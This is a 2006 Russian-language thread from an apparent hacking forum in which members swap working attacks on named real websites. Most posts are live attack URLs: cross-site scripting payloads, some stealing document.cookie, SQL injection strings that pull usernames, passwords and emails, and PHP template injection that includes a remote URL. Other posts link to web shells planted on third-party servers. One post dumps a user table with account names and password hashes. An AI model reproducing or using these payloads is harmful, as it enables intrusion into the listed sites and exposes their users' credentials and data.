Баги на сайтах.

Discussion in 'Уязвимости' started by D1mOn, 28 Jan 2006.

Thread Status:
Not open for further replies.
  1. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    http://www.bstu.by/test_results.php?test_id=1&pass_ser=<h1>xss1</h1>&pass_num=<h1>xss2</h1>&subject_id=0
     
    _________________________
    1 person likes this.
  2. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    1 person likes this.
  3. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    Rupay.ru
    https://rupay.com/status.php?st_id="><script>alert('found_by_gLAnce')</script>
     
  4. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    _________________________
    #84 +toxa+, 6 May 2006
    Last edited: 6 May 2006
  5. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    _http://www.style2ouf.com/us/News/affiche_news.php?id_news=527'
    _http://www.style2ouf.com/us/News/result.php?genre=1&nom=20-5-2006'
     
    #85 gLAnce, 7 May 2006
    Last edited: 7 May 2006
    1 person likes this.
  6. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    _http://www.rolemancer.ru/article.php?sid=-1+union+select+1,2,3,uname,pass,email,7,8,9,10,user_icq+from+users+limit+2,1/*
     
    1 person likes this.
  7. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    http://rtf-club.ru/forum/misc.php?do=page&template={${include(%27http://dia.forever.kz%27)}}
     
  8. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    757
    Likes Received:
    351
    Reputations:
    353
    Еще одна пассивная никому не нужная ксс http://www.hansaworld.com/WebHBSDivMain.hal?langcode=ru%22%3E%3Cscript%3Ealert(/hui/)%3C/script%3E&WEBPAGE=
     
  9. _kREveDKo_

    _kREveDKo_ _kREveDKo_

    Joined:
    4 Dec 2005
    Messages:
    778
    Likes Received:
    620
    Reputations:
    1,040
    http://www.myim.ru/index.php?m=<h1>xss
     
  10. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    757
    Likes Received:
    351
    Reputations:
    353
  11. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    #91 DIAgen, 13 May 2006
    Last edited: 15 May 2006
    1 person likes this.
  12. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
    # Дамп данных таблицы `LCMS_USERS`
    #

    INSERT INTO LCMS_USERS VALUES ('root', '3692a3997fc0a011762f2d9feed9d268', 2, '0', '6d394f489c392c9d91913fb9c0ea7336', 1105535093, 1);
    INSERT INTO LCMS_USERS VALUES ('mxms', '3692a3997fc0a011762f2d9feed9d268', 2, '0', 'a77bf438f56b5ca6962c0ffd1dfbf14d', 1104407014, 1);
    INSERT INTO LCMS_USERS VALUES ('larry-admin', 'cddf1c37e2d4c2cc51a9f0b194150175', 2, '0', NULL, 0, 1);
    INSERT INTO LCMS_USERS VALUES ('rooter', '9220e3b9047f78cd7615931ab76cba10', 16, '0', '996c5d54d3139b7a3702b2ff5ae445c0', 1102425199, 1);
    INSERT INTO LCMS_USERS VALUES ('test', '098f6bcd4621d373cade4e832627b4f6', 16, '0', '6b5c80c4ef8f583b73bd2bac73d14e28', 1102425450, 1);
    INSERT INTO LCMS_USERS VALUES ('relict', '5a315f8ec5a19d1b6bdd905d2cd0e7a1', 16, '0', '45c588311a91fed253abbea751b48539', 1102426254, 1);
    INSERT INTO LCMS_USERS VALUES ('teste', '698dc19d489c4e4db73e28a713eab07b', 16, '0', 'a7be86787110f400c91f64c2aed356ac', 1103703057, 1);
    INSERT INTO LCMS_USERS VALUES ('zero', 'd02c4c4cde7ae76252540d116a40f23a', 16, '0', NULL, 0, 1);
     
  13. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    __http://www.nuke-tops.ru/index.php?module=gallery&file=disp_serie&id_album=9 OR 10
     
    _________________________
    #93 +toxa+, 13 May 2006
    Last edited: 13 May 2006
  14. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    919
    Likes Received:
    213
    Reputations:
    154
    #94 Azazel, 13 May 2006
    Last edited: 13 May 2006
  15. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    _http://vbulletin.net.ru/index.php/"><script>alert(document.cookie)</script>
    выкладываю заволявшийся приват :)
     
    2 people like this.
  16. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    sql OLE BD _http://www.acusis.com/SearchFiles.asp?search='&mode=anywords

    _http://terrier.ru/produkt.php?t=sub_pages&cat=3'

    _http://vzxk.ru/index.php?url=http://gbl.nightmail.ru/rst.php
    забавно Disable functions : dl, shell_exec, exec, system, passthru, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, set_time_limit.
    VectorG у тебя где то видел похожую шляпу, что нибудь сделал с этим?
     
    _________________________
    #96 c411k, 14 May 2006
    Last edited: 14 May 2006
  17. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    Может и все знают, на когда я увил мне стало интересно- это глюк или просто ошибка, или так задумано.
    Когда проводится регистрация нового пользователя на forum.antichat.ru, после регистрации, если не сделать активацию пользователя можно просмотреть скрытый раздела форума Public exploits, после активации раздел не виден.
     
  18. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    И на последок:
    _hxxp://www.kopalin.com/remview.php
    _hxxp://www.bitacs.ru/.system/extensions/librarys/nc.php
    _hxxp://nhackhuctinhyeu.5gigs.com/tr.php
    _hxxp://www.netsell.kz/forums/misc.php?do=page&template={${phpinfo()}}
    _hxxp://johnny.ihackstuff.com/index.php?module=prodreviews
    p.s А самое обино, скоро лето а меня колбасит(ангина замучила!)
     
  19. KoTeG

    KoTeG Banned

    Joined:
    29 Apr 2006
    Messages:
    198
    Likes Received:
    165
    Reputations:
    2
  20. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    _http://keep4u.ru/album.php?view=%27
     
    #100 DIAgen, 15 May 2006
    Last edited by a moderator: 16 May 2006
    2 people like this.
Loading...
Thread Status:
Not open for further replies.